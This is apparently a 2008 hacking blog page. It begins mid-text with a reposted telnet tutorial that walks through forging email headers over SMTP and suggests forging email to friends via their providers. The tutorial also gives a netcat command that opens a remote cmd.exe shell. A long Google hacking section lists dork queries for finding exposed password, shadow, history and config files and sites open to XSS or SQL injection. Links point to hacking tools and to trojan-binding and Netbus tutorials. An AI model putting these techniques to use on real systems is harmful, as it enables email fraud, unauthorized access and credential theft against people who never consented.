into was down or just plain no longer in existence. Maybe the people who run
that computer don't want you to telnet into it.

Even though you can't telnet into an account inside some computer, often you can
get some information back or get that computer to do something interesting for
you. Yes, you can get a telnet connection to succeed -without doing anything
illegal --against almost any computer, even if you don't have permission to log
in. There are many legal things you can do to many randomly chosen computers
with telnet. For example:

C:/telnet freeshell.org 22

SSH-1.99-OpenSSH_3.4p1

That tells us the target computer is running an SSH server, which enables
encrypted connections between computers. If you want to SSH into an account
there, you can get a shell account for free at http://freeshell.org . You can
get a free SSH client program from http://winfiles.com .

***************
You can get punched in the nose warning: Your online provider might kick you off
for making telnet probes of other computers. The solution is to get a local
online provider and make friends with the people who run it, and convince them
you are just doing harmless, legal explorations.
*************

Sometimes a port is running an interesting program, but a firewall won't let you
in. For example, 10.0.0.3, a computer on my local area network, runs an email
sending program, (sendmail working together with Postfix, and using Kmail to
compose emails). I can use it from an account inside 10.0.0.3 to send emails
with headers that hide from where I send things.

If I try to telnet to this email program from outside this computer, here's what
happens:

C:\>telnet 10.0.0.3 25
Connecting To 10.0.0.3...Could not open connection to the host, on port 25. No
connection could be made because the target machine actively refused it.

However, if I log into an account on 10.0.0.3 and then telnet from inside to
port 25, here's what I get:

Last login: Fri Oct 18 13:56:58 2002 from 10.0.0.1
Have a lot of fun...
cmeinel@test-box:~> telnet localhost 25
Trying ::1...
telnet: connect to address ::1: Connection refused
Trying 127.0.0.1... [Carolyn's note: 127.0.0.1 is the numerical address meaning
localhost, the same computer you are logged into]
Connected to localhost.
Escape character is '^]'.
220 test-box.local ESMTP Postfix

The reason I keep this port 25 hidden behind a firewall is to keep people from
using it to try to break in or to forge email. Now the ubergeniuses reading this
will start to make fun of me because no Internet address that begins with 10. is
reachable from the Internet. However, sometimes I place this "test-box" computer
online with a static Internet address, meaning whenever it is on the Internet,
it always has the same numerical address. I'm not going to tell you what its
Internet address is because I don't want anyone messing with it. I just want to
mess with other people's computers with it, muhahaha. That's also why I always
keep my Internet address from showing up in the headers of my emails.

***************
Newbie note: What is all this about headers? It's stuff at the beginning of an
email that may - or may not - tell you a lot about where it came from and when.
To see full headers, in Outlook click view -> full headers. In Eudora, click the
"Blah blah blah" icon.
****************

Want a computer you can telnet into and mess around with, and not get into
trouble no matter what you do to it? I've set up my techbroker.com
(206.61.52.33) with user xyz, password guest for you to play with. Here's how to
forge email to xyz@techbroker.com using telnet. Start with the command:

C:\>telnet techbroker.com 25
Connecting To Techbroker.com

220 Service ready

Now you type in who you want the message to appear to come from:

helo santa@techbroker.com
Techbroker.com will answer:

250 host ready

Next type in your mail from address:

mail from:santa@techbroker.com

250 Requested mail action okay, completed

Your next command:

rcpt to:xyz@techbroker.com
250 Requested mail action okay, completed

Your next command:
data
354 Start main input; end with .


just means hit return. In case you can't see that little
period between the s, what you do to end composing your email is to hit
enter, type a period, then hit enter again. Anyhow, try typing:

This is a test.
.
250 Requested mail action okay, completed
quit
221 Service closing transmission channel

Connection to host lost.

Using techbroker's mail server, even if you enable full headers, the message we
just composed looks like:

Status: R
X-status: N

This is a test.

That's a pretty pathetic forged email, huh? No "from", no date. However, you can
make your headers better by using a trick with the data command. After you give
it, you can insert as many headers as you choose. The trick is easier to show
than explain:

220 Service ready
helo santa@northpole.org
250 host ready
mail from:santa@northpole.com
250 Requested mail action okay, completed
rcpt to:cmeinel@techbroker.com
250 Requested mail action okay, completed
data
354 Start main input; end with .
from:santa@deer.northpole.org
Date: Mon, 21 Oct 2002 10:09:16 -0500
Subject: Rudolf
This is a Santa test.
.
250 Requested mail action okay, completed
quit
221 Service closing transmission channel

Connection to host lost.

The message then looks like:

from:santa@deer.northpole.org
Date: Mon, 21 Oct 2002 10:09:16 -0500
Subject: Rudolf
This is a Santa test.

The trick is to start each line you want in the headers with one word followed
by a colon, and the a line followed by "return". As soon as you write a line
that doesn't begin this way, the rest of what you type goes into the body of the
email.

Notice that the santa@northpole.com from the "mail from:" command didn't show up
in the header. Some mail servers would show both "from" addresses.

You can forge email on techbroker.com within one strict limitation. Your email
has to go to someone at techbroker.com. If you can find any way to send email to
someone outside techbroker, let us know, because you will have broken our
security, muhahaha! Don't worry, you have my permission.

Next, you can read the email you forge on techbroker.com via telnet:

C:\>telnet techbroker.com 110

+OK <30961.5910984301@techbroker.com> service ready

Give this command:
user xyz
+OK user is known

Then type in this:
pass test
+OK mail drop has 2 message(s)

retr 1
+OK message follows
This is a test.

If you want to know all possible commands, give this command:

help
+OK help list follows
USER user
PASS password
STAT
LIST [message]
RETR message
DELE message
NOOP
RSET
QUIT
APOP user md5
TOP message lines
UIDL [message]
HELP

Unless you use a weird online provider like AOL, you can use these same tricks
to send and receive your own email. Or you can forge email to a friend by
telnetting to his or her online provider's email sending computer(s).

With most online providers you need to get the exact name of their email
computer(s). Often it is simply mail.targetcomputer.com (substitute the name of
the online provider for targetcomputer). If this doesn't work, you can find out
the name of their email server with the DOS nslookup program, which only runs
from cmd.exe. Here's an example:


C:\ >nslookup
Default Server: DNS1.wurld.net
Address: 206.61.52.11

> set q=mx
> dimensional.com
Server: DNS1.wurld.net
Address: 206.61.52.11

dimensional.com MX preference = 5, mail exchanger =
mail.dimensional.com
dimensional.com MX preference = 10, mail exchanger =
mx2.dimensional.com
dimensional.com MX preference = 20, mail exchanger =
mx3.dimensional.com
dimensional.com nameserver = ns.dimensional.com
dimensional.com nameserver = ns-1.dimensional.com
dimensional.com nameserver = ns-2.dimensional.com
dimensional.com nameserver = ns-3.dimensional.com
dimensional.com nameserver = ns-4.dimensional.com
mail.dimensional.com internet address = 206.124.0.11
mx2.dimensional.com internet address = 206.124.0.30
mx3.dimensional.com internet address = 209.98.32.54
ns.dimensional.com internet address = 206.124.0.10
ns.dimensional.com internet address = 206.124.26.254
ns.dimensional.com internet address = 206.124.0.254
ns.dimensional.com internet address = 206.124.1.254
ns.dimensional.com internet address = 209.98.32.54
ns.dimensional.com internet address = 206.124.0.32
ns.dimensional.com internet address = 206.124.0.30
ns.dimensional.com internet address = 206.124.0.25
ns.dimensional.com internet address = 206.124.0.15
ns.dimensional.com internet address = 206.124.0.21
ns.dimensional.com internet address = 206.124.0.9
ns-1.dimensional.com internet address = 206.124.26.254
ns-2.dimensional.com internet address = 209.98.32.54
ns-3.dimensional.com internet address = 206.124.1.254
ns-4.dimensional.com internet address = 206.124.0.254
>

The lines that tell you what computers will let you forge email to people with
@dimensional.com addresses are:

dimensional.com MX preference = 5, mail exchanger =
mail.dimensional.com
dimensional.com MX preference = 10, mail exchanger =
mx2.dimensional.com
dimensional.com MX preference = 20, mail exchanger =
mx3.dimensional.com

MX stands for mail exchange. The lower the preference number, the more they
would like you to use that address for email.If that lowest number server is too
busy, then try another server.

Sometimes when you ask about a mail server, nslookup will give you this kind of
error message:

DNS request timed out.
timeout was 2 seconds.
DNS request timed out.
timeout was 2 seconds.
*** Request to [207.217.120.202] timed-out

To get around this problem, you need to find out what are the domain servers for
your target online provider. A good place to start looking is
http://netsol.com/cgi-bin/whois/whois . If this doesn't work, see
http://happyhacker.org/HHA/fightback.shtml for how to find the domain servers
for any Internet address.

****************
Newbie note: A domain name server provides information on the names and numbers
assigned to computers on the Internet. For example, dns1.wurld.net and
dns2.wurld.net contain information on happyhacker.org, techbroker.com,
securitynewsportal.com, thirdpig.com and sage-inc.com. When you query
dns1.wurld.net about other computers, it might have to go hunting for that
information from other name servers. That's why you might get a timed out
failure.
***************

Once you know the domain servers for an online service, set one of them for the
server for your nslookup program. Here's how you do it:

C:\ >nslookup
Default Server: DNS1.wurld.net
Address: 206.61.52.11

Now give the command:

> server 207.217.126.41
Default Server: ns1.earthlink.net
Address: 207.217.126.41

Next command should be:
> set q=mx
> earthlink.net
Server: ns1.earthlink.net
Address: 207.217.126.41

earthlink.net MX preference = 5, mail exchanger = mx04.earthlink.net
earthlink.net MX preference = 5, mail exchanger = mx05.earthlink.net
earthlink.net MX preference = 5, mail exchanger = mx06.earthlink.net
earthlink.net MX preference = 5, mail exchanger = mx00.earthlink.net
earthlink.net MX preference = 5, mail exchanger = mx01.earthlink.net
earthlink.net MX preference = 5, mail exchanger = mx02.earthlink.net
earthlink.net MX preference = 5, mail exchanger = mx03.earthlink.net
earthlink.net nameserver = ns3.earthlink.net
earthlink.net nameserver = ns1.earthlink.net
earthlink.net nameserver = ns2.earthlink.net
mx00.earthlink.net internet address = 207.217.120.28
mx01.earthlink.net internet address = 207.217.120.29
mx02.earthlink.net internet address = 207.217.120.79
mx03.earthlink.net internet address = 207.217.120.78
mx04.earthlink.net internet address = 207.217.120.249
mx05.earthlink.net internet address = 207.217.120.31
mx06.earthlink.net internet address = 207.217.120.23
ns1.earthlink.net internet address = 207.217.126.41
ns2.earthlink.net internet address = 207.217.77.42
ns3.earthlink.net internet address = 207.217.120.43
>

Your own online service will usually not mind and may even be glad if you use
telnet to read your email. Sometimes a malicious person or faulty email program
will send you a message that is so screwed up that your email program can't
download it. With telnet you can manually delete the bad email. Otherwise tech
support has to do it for you.

If you think about it, this ability to forge email is a huge temptation to
spammers. How can your online provider keep the bad guys from filling up a
victim's email box with garbage? The first time a bad guy tries this, probably
nothing will stop him or her. The second time the online provider might block
the bad guy at the firewall, maybe call the bad guy's online provider and kick
him or her and maybe get the bad guy busted or sued.

**************
You can go to jail warning: Sending hundreds or thousands of junk emails to bomb
someone's email account is a felony in the US.
***************

***************
You can get sued warning: Spamming, where you send only one email to each
person, but send thousands or millions of emails, is borderline legal. However,
spammers have been successfully sued when they forge the email addresses of
innocent people as senders of their spam.
****************

Now that you know how to read and write email with telnet, you definitely have
something you can use to show off with. Happy hacking!

Oh, here's one last goodie for advanced users. Get netcat for Windows. It's a
free program written by Weld Pond and Hobbit, and available from many sites, for
example
http://www.atstake.com/research/tools/#network_utilities . It is basically
telnet on steroids. For example, using netcat, you can set up a port on your
Windows computer to allow people to telnet into a DOS shell by using this
command:

C:\>nc -L -p 5000 -t -e cmd.exe

You can specify a different port number than 5000. Just make sure it doesn't
conflict with another port by checking with the netstat command. Then you and
your friends, enemies and random losers can either telnet in or netcat in with
the command:

C:\>nc -v [ipaddress of target] [port]

Of course you will probably get hacked for setting up this port. However, if you
set up a sniffer to keep track of the action, you can turn this scary back door
into a fascinating honeypot. For example, you could run it on port 23 and watch
all the hackers who attack with telnet hoping to log in. With some programming
you could even fake a unix-like login sequence and play some tricks on your
attackers.

Friday, January 11, 2008

Easy Netcat tutorial

http://www.google.com/url?sa=t&ct=res&cd=3&url=http%3A%2F%2Fwww.ol-service.com%2Fsikurezza%2Fdoc%2Fnetcat_eng.pdf&ei=XsyHR-3IHpSSwQGSkc3qDg&usg=AFQjCNFomoSznldG1zOrHISiSLCFM1NCjg&sig2=VBBUiIWWp9COJN1CfItdTw

Thursday, January 10, 2008

Very usefull hacking tools to download

http://www.leetupload.com/dbindex2/index.php?dir=Win32/

Google hacking tips

Google search engine can be used to hack into remote servers or gather confidential or sensitive information which are not visible through common searches.

Google is the world’s most popular and powerful search engine. It has the ability to accept pre-defined commands as inputs which then produces unbelievable results.

Google’s Advanced Search Query Syntax

Discussed below are various Google’s special commands and I shall be explaining each command in brief and will show how it can be used for getting confidential data.

[ intitle: ]

The “intitle:” syntax helps Google restrict the search results to pages containing that word in the title.

intitle: login password


will return links to those pages that has the word "login" in their title, and the word "password" anywhere in the page.

Similarly, if one has to query for more than one word in the page title then in that case “allintitle:” can be used instead of “intitle” to get the list of pages containing all those words in its title.

intitle: login intitle: password


is same as

allintitle: login password


[ inurl: ]

The “inurl:” syntax restricts the search results to those URLs containing the search keyword. For example: “inurl: passwd” (without quotes) will return only links to those pages that have "passwd" in the URL.

Similarly, if one has to query for more than one word in an URL then in that case “allinurl:” can be used instead of “inurl” to get the list of URLs containing all those search keywords in it.

allinurl: etc/passwd


will look for the URLs containing “etc” and “passwd”. The slash (“/”) between the words will be ignored by Google.

[ site: ]

The “site:” syntax restricts Google to query for certain keywords in a particular site or domain.

exploits site:hackingspirits.com


will look for the keyword “exploits” in those pages present in all the links of the domain “hackingspirits.com”. There should not be any space between “site:” and the “domain name”.

[ filetype: ]

This “filetype:” syntax restricts Google search for files on internet with particular extensions (i.e. doc, pdf or ppt etc).

filetype:doc site:gov confidential


will look for files with “.doc” extension in all government domains with “.gov” extension and containing the word “confidential” either in the pages or in the “.doc” file. i.e. the result will contain the links to all confidential word document files on the government sites.


[ link: ]

“link:” syntax will list down webpages that have links to the specified webpage.

link:www.expertsforge.com


will list webpages that have links pointing to the SecurityFocus homepage. Note there can be no space between the "link:" and the web page url.


[ related: ]

The “related:” will list web pages that are "similar" to a specified
web page.

related:www.expertsforge.com


will list web pages that are similar to the Securityfocus homepage. Note there can be no space between the "related:" and the web page url.


[ cache: ]

The query “cache:” will show the version of the web page that Google
has in its cache.

cache:www.hackingspirits.com


will show Google's cache of the Google homepage. Note there can be no space between the "cache:" and the web page url.

If you include other words in the query, Google will highlight those words within the cached document.

cache:www.hackingspirits.com guest


will show the cached content with the word "guest" highlighted.

[ intext: ]

The “intext:” syntax searches for words in a particular website. It ignores links or URLs and page titles.

intext:exploits


will return only links to those web pages that has the search keyword "exploits" in its webpage.


[ phonebook: ]

“phonebook” searches for U.S. street address and phone number information.

phonebook:Lisa+CA


will list down all names of person having “Lisa” in their names and located in “California (CA)”. This can be used as a great tool for hackers incase someone want to do dig personal information for social engineering.

Google Hacks

Well, the Google’s query syntaxes discussed above can really help people to precise their search and get what they are exactly looking for.

Now Google being so intelligent search engine, hackers don’t mind exploiting its ability to dig much confidential and secret information from the net which they are not supposed to know. Now I shall discuss those techniques in details how hackers dig information from the net using Google and how that information can be used to break into remote servers.

Index Of

Using “Index of ” syntax to find sites enabled with Index browsing

A webserver with Index browsing enabled means anyone can browse the webserver directories like ordinary local directories. The use of “index of” syntax to get a list links to webserver which has got directory browsing enabled will be discussd below. This becomes an easy source for information gathering for a hacker. Imagine if the get hold of password files or others sensitive files which are not normally visible to the internet. Below given are few examples using which one can get access to many sensitive information much easily.

Index of /admin
Index of /passwd
Index of /password
Index of /mail

"Index of /" +passwd
"Index of /" +password.txt
"Index of /" +.htaccess

"Index of /secret"
"Index of /confidential"
"Index of /root"
"Index of /cgi-bin"
"Index of /credit-card"
"Index of /logs"
"Index of /config"


Looking for vulnerable sites or servers using “inurl:” or “allinurl:”

a. Using “allinurl:winnt/system32/” (without quotes) will list down all the links to the server which gives access to restricted directories like “system32” through web. If you are lucky enough then you might get access to the cmd.exe in the “system32” directory. Once you have the access to “cmd.exe” and is able to execute it.


b. Using “allinurl:wwwboard/passwd.txt”(without quotes) in the Google search will list down all the links to the server which are vulnerable to “WWWBoard Password vulnerability”. To know more about this vulnerability you can have a look at the following link:

http://www.securiteam.com/exploits/2BUQ4S0SAW.html

c. Using “inurl:.bash_history” (without quotes) will list down all the links to the server which gives access to “.bash_history” file through web. This is a command history file. This file includes the list of command executed by the administrator, and sometimes includes sensitive information such as password typed in by the administrator. If this file is compromised and if contains the encrypted unix (or *nix) password then it can be easily cracked using “John The Ripper”.

d. Using “inurl:config.txt” (without quotes) will list down all the links to the servers which gives access to “config.txt” file through web. This file contains sensitive information, including the hash value of the administrative password and database authentication credentials.

For Example: Ingenium Learning Management System is a Web-based application for Windows based systems developed by Click2learn, Inc. Ingenium Learning Management System versions 5.1 and 6.1 stores sensitive information insecurely in the config.txt file. For more information refer the following
links: http://www.securiteam.com/securitynews/6M00H2K5PG.html

Other similar search using “inurl:” or “allinurl:” combined with other syntax


inurl:admin filetype:txt
inurl:admin filetype:db
inurl:admin filetype:cfg
inurl:mysql filetype:cfg
inurl:passwd filetype:txt
inurl:iisadmin
inurl:auth_user_file.txt
inurl:orders.txt
inurl:"wwwroot/*."
inurl:adpassword.txt
inurl:webeditor.php
inurl:file_upload.php

inurl:gov filetype:xls "restricted"
index of ftp +.mdb allinurl:/cgi-bin/ +mailto


Looking for vulnerable sites or servers using “intitle:” or “allintitle:”

a. Using [allintitle: "index of /root”] (without brackets) will list down the links to the web server which gives access to restricted directories like “root” through web. This directory sometimes contains sensitive information which can be easily retrieved through simple web requests.

b. Using [allintitle: "index of /admin”] (without brackets) will list down the links to the websites which has got index browsing enabled for restricted directories like “admin” through web. Most of the web application sometimes uses names like “admin” to store admin credentials in it. This directory sometimes contains sensitive information which can be easily retrieved through simple web requests.

Other similar search using “intitle:” or “allintitle:” combined with other syntax

intitle:"Index of" .sh_history
intitle:"Index of" .bash_history
intitle:"index of" passwd
intitle:"index of" people.lst
intitle:"index of" pwd.db
intitle:"index of" etc/shadow
intitle:"index of" spwd
intitle:"index of" master.passwd
intitle:"index of" htpasswd
intitle:"index of" members OR accounts
intitle:"index of" user_carts OR user_cart

allintitle: sensitive filetype:doc
allintitle: restricted filetype :mail
allintitle: restricted filetype:doc site:gov



Other interesting Search Queries

· To search for sites vulnerable to Cross-Sites Scripting (XSS) attacks:

allinurl:/scripts/cart32.exe
allinurl:/CuteNews/show_archives.php
allinurl:/phpinfo.php



· To search for sites vulnerable to SQL Injection attacks:

allinurl:/privmsg.php
allinurl:/privmsg.php

Netbus Tutorial

video

Nice XP desktop background to pikup.





Trojan Binding Tutorial

video

Welcome to my page

Dear friend, i have created this page to share my and your knowledge and ideas about ethical hacking, please feel free to interact with our comunity by posting you questions, thought and ideas, here will be lots of stuff, links, downloads and tutorials to share.
Please lets keep this page clean ans usefull for all of us, spamming will be deleted so its only a waste of time and energy.
Ghostdog.

Priviledge escalation tutorial

video